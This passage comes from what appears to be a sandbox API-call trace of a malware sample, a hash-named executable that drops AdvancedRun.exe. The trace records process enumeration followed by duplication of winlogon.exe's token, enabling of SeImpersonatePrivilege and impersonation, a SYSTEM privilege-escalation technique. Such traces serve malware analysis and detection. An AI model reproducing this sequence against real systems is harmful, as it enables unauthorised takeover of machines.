th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="second.exe")) returned 1 [0245.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc08) returned 0x100 [0245.295] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\second.exe" (normalized: "c:\\program files\\windows nt\\second.exe")) returned 0x26 [0245.296] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows NT\\second.exe" | out: _Dest="C:\\Program Files\\Windows NT\\second.exe") returned="C:\\Program Files\\Windows NT\\second.exe" [0245.296] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.296] CloseHandle (hObject=0x100) returned 1 [0245.296] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="sign.exe")) returned 1 [0245.297] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc10) returned 0x100 [0245.297] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\MSBuild\\sign.exe" (normalized: "c:\\program files\\msbuild\\sign.exe")) returned 0x21 [0245.297] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\MSBuild\\sign.exe" | out: _Dest="C:\\Program Files\\MSBuild\\sign.exe") returned="C:\\Program Files\\MSBuild\\sign.exe" [0245.297] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.297] CloseHandle (hObject=0x100) returned 1 [0245.297] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="than near.exe")) returned 1 [0245.298] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc18) returned 0x100 [0245.298] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\than near.exe" (normalized: "c:\\program files (x86)\\internet explorer\\than near.exe")) returned 0x36 [0245.298] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Internet Explorer\\than near.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\than near.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\than near.exe" [0245.298] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.298] CloseHandle (hObject=0x100) returned 1 [0245.298] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="history-oh.exe")) returned 1 [0245.350] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc20) returned 0x100 [0245.350] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\history-oh.exe")) returned 0x3a [0245.351] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe" [0245.351] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.351] CloseHandle (hObject=0x100) returned 1 [0245.351] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0245.352] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc28) returned 0x100 [0245.352] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\3dftp.exe")) returned 0x33 [0245.352] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe") returned="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe" [0245.352] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.352] CloseHandle (hObject=0x100) returned 1 [0245.352] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0245.353] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc30) returned 0x100 [0245.353] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe" (normalized: "c:\\program files\\microsoft office 15\\absolutetelnet.exe")) returned 0x37 [0245.353] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe" | out: _Dest="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe") returned="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe" [0245.353] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.354] CloseHandle (hObject=0x100) returned 1 [0245.354] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0245.354] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc38) returned 0x100 [0245.354] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\WindowsPowerShell\\alftp.exe" (normalized: "c:\\program files\\windowspowershell\\alftp.exe")) returned 0x2c [0245.355] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\WindowsPowerShell\\alftp.exe" | out: _Dest="C:\\Program Files\\WindowsPowerShell\\alftp.exe") returned="C:\\Program Files\\WindowsPowerShell\\alftp.exe" [0245.355] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.355] CloseHandle (hObject=0x100) returned 1 [0245.355] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.355] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcc8) returned 0x100 [0245.355] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.356] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", lpdwSize=0x179188) returned 1 [0245.356] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" | out: _Dest="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe") returned="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" [0245.356] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.356] CloseHandle (hObject=0x100) returned 1 [0245.356] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0245.357] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe4c) returned 0x0 [0245.357] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xe4c) returned 0x100 [0245.357] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.357] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\audiodg.exe", lpdwSize=0x179188) returned 1 [0245.357] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\audiodg.exe" | out: _Dest="C:\\Windows\\System32\\audiodg.exe") returned="C:\\Windows\\System32\\audiodg.exe" [0245.357] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.358] CloseHandle (hObject=0x100) returned 1 [0245.358] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 1 [0245.358] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x100 [0245.358] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0245.359] wcscpy (in: _Dest=0x178f58, _Source="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" | out: _Dest="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" [0245.359] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.359] CloseHandle (hObject=0x100) returned 1 [0245.359] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0245.359] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd7c) returned 0x100 [0245.359] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.360] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\servicing\\TrustedInstaller.exe", lpdwSize=0x179188) returned 1 [0245.360] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\servicing\\TrustedInstaller.exe" | out: _Dest="C:\\Windows\\servicing\\TrustedInstaller.exe") returned="C:\\Windows\\servicing\\TrustedInstaller.exe" [0245.360] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.360] CloseHandle (hObject=0x100) returned 1 [0245.360] malloc (_Size=0x11a00) returned 0x1c9a760 [0245.361] free (_Block=0x1c8d3d8) [0245.361] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sc.exe")) returned 1 [0245.361] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x100 [0245.361] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.362] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="", lpdwSize=0x179188) returned 0 [0245.362] wcslen (_String="\\systemroot") returned 0xb [0245.362] wcslen (_String="") returned 0x0 [0245.362] wcscpy (in: _Dest=0x178f58, _Source="" | out: _Dest="") returned="" [0245.362] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.362] CloseHandle (hObject=0x100) returned 1 [0245.362] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0245.362] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6a8) returned 0x100 [0245.363] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.363] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="", lpdwSize=0x179188) returned 0 [0245.363] wcslen (_String="\\systemroot") returned 0xb [0245.363] wcslen (_String="") returned 0x0 [0245.363] wcscpy (in: _Dest=0x178f58, _Source="" | out: _Dest="") returned="" [0245.363] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.363] CloseHandle (hObject=0x100) returned 1 [0245.363] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xed0, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdvancedRun.exe")) returned 1 [0245.364] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe0c) returned 0x100 [0245.364] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\advancedrun.exe")) returned 0x35 [0245.364] wcscpy (in: _Dest=0x178f58, _Source="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" | out: _Dest="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" [0245.364] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.364] CloseHandle (hObject=0x100) returned 1 [0245.364] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xed0, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdvancedRun.exe")) returned 0 [0245.365] CloseHandle (hObject=0xfc) returned 1 [0245.365] _wcsicmp (_String1="", _String2="C:\\Windows\\system32\\winlogon.exe") returned -99 [0245.365] _wcsicmp (_String1="", _String2="C:\\Windows\\system32\\winlogon.exe") returned -99 [0245.365] _wcsicmp (_String1="C:\\Windows\\System32\\smss.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned -4 [0245.365] _wcsicmp (_String1="smss.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned 16 [0245.365] _wcsicmp (_String1="C:\\Windows\\System32\\csrss.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned -20 [0245.365] _wcsicmp (_String1="csrss.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned 57 [0245.365] _wcsicmp (_String1="C:\\Windows\\System32\\wininit.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned -3 [0245.365] _wcsicmp (_String1="wininit.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned 20 [0245.365] _wcsicmp (_String1="C:\\Windows\\System32\\csrss.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned -20 [0245.365] _wcsicmp (_String1="csrss.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned 57 [0245.365] _wcsicmp (_String1="C:\\Windows\\System32\\winlogon.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned 0 [0245.365] OpenProcess (dwDesiredAccess=0x2000000, bInheritHandle=0, dwProcessId=0x1a4) returned 0xfc [0245.365] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x75ca0000 [0245.365] GetProcAddress (hModule=0x75ca0000, lpProcName="CreateProcessWithLogonW") returned 0x75ce52e9 [0245.366] GetProcAddress (hModule=0x75ca0000, lpProcName="CreateProcessWithTokenW") returned 0x75ce531f [0245.366] GetProcAddress (hModule=0x75ca0000, lpProcName="OpenProcessToken") returned 0x75cb4304 [0245.366] GetProcAddress (hModule=0x75ca0000, lpProcName="DuplicateTokenEx") returned 0x75caca24 [0245.366] OpenProcessToken (in: ProcessHandle=0xfc, DesiredAccess=0x2, TokenHandle=0x179198 | out: TokenHandle=0x179198*=0x100) returned 1 [0245.366] DuplicateTokenEx (in: hExistingToken=0x100, dwDesiredAccess=0x2000000, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x179188 | out: phNewToken=0x179188*=0x104) returned 1 [0245.366] CloseHandle (hObject=0x100) returned 1 [0245.366] CloseHandle (hObject=0xfc) returned 1 [0245.366] FreeLibrary (hLibModule=0x75800000) returned 1 [0245.367] free (_Block=0x1c9a760) [0245.367] GetCurrentProcess () returned 0xffffffff [0245.367] wcscpy (in: _Dest=0x1789a0, _Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0245.367] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0245.367] wcscat (in: _Dest=0x1789a0, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0245.367] wcscat (in: _Dest=0x1789a0, _Source="advapi32.dll" | out: _Dest="C:\\Windows\\system32\\advapi32.dll") returned="C:\\Windows\\system32\\advapi32.dll" [0245.367] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll") returned 0x75ca0000 [0245.368] GetProcAddress (hModule=0x75ca0000, lpProcName="OpenProcessToken") returned 0x75cb4304 [0245.368] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x1791dc | out: TokenHandle=0x1791dc*=0xfc) returned 1 [0245.368] GetProcAddress (hModule=0x75ca0000, lpProcName="LookupPrivilegeValueW") returned 0x75cb41b3 [0245.368] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0x1791d0 | out: lpLuid=0x1791d0*(LowPart=0x1d, HighPart=0)) returned 1 [0245.369] GetProcAddress (hModule=0x75ca0000, lpProcName="AdjustTokenPrivileges") returned 0x75cb418e [0245.369] AdjustTokenPrivileges (in: TokenHandle=0xfc, DisableAllPrivileges=0, NewState=0x1791cc*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0245.369] GetLastError () returned 0x0 [0245.369] CloseHandle (hObject=0xfc) returned 1 [0245.369] FreeLibrary (hLibModule=0x75ca0000) returned 1 [0245.369] ImpersonateLoggedOnUser (hToken=0x104) returned 1 [0245.369] CloseHandle (hObject=0x104) returned 1 [0245.369] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x104 [0245.372] Process32FirstW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.372] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0245.373] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0245.373] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x4) returned 0xfc [0245.373] wcscpy (in: _Dest=0x17872c, _Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0245.373] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0245.373] wcscat (in: _Dest=0x17872c, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0245.373] wcscat (in: _Dest=0x17872c, _Source="psapi.dll" | out: _Dest="C:\\Windows\\system32\\psapi.dll") returned="C:\\Windows\\system32\\psapi.dll" [0245.373] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\psapi.dll") returned 0x75800000 [0245.375] GetProcAddress (hModule=0x75800000, lpProcName="GetModuleBaseNameW") returned 0x7580152c [0245.375] GetProcAddress (hModule=0x75800000, lpProcName="EnumProcessModules") returned 0x75801408 [0245.375] GetProcAddress (hModule=0x75800000, lpProcName="GetModuleFileNameExW") returned 0x758013f0 [0245.375] GetProcAddress (hModule=0x75800000, lpProcName="EnumProcesses") returned 0x75801544 [0245.375] GetProcAddress (hModule=0x75800000, lpProcName="GetModuleInformation") returned 0x75801420 [0245.375] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.375] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="", lpdwSize=0x1795c8) returned 0 [0245.375] wcslen (_String="\\systemroot") returned 0xb [0245.375] wcslen (_String="") returned 0x0 [0245.375] wcscpy (in: _Dest=0x179398, _Source="" | out: _Dest="") returned="" [0245.375] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.375] CloseHandle (hObject=0xfc) returned 1 [0245.375] malloc (_Size=0x4680) returned 0x1c80048 [0245.375] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0245.376] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x108) returned 0xfc [0245.376] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.470] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\smss.exe", lpdwSize=0x1795c8) returned 1 [0245.471] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\smss.exe" | out: _Dest="C:\\Windows\\System32\\smss.exe") returned="C:\\Windows\\System32\\smss.exe" [0245.471] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.471] CloseHandle (hObject=0xfc) returned 1 [0245.471] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.472] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14c) returned 0xfc [0245.472] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.472] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x1795c8) returned 1 [0245.472] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\csrss.exe" | out: _Dest="C:\\Windows\\System32\\csrss.exe") returned="C:\\Windows\\System32\\csrss.exe" [0245.472] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, 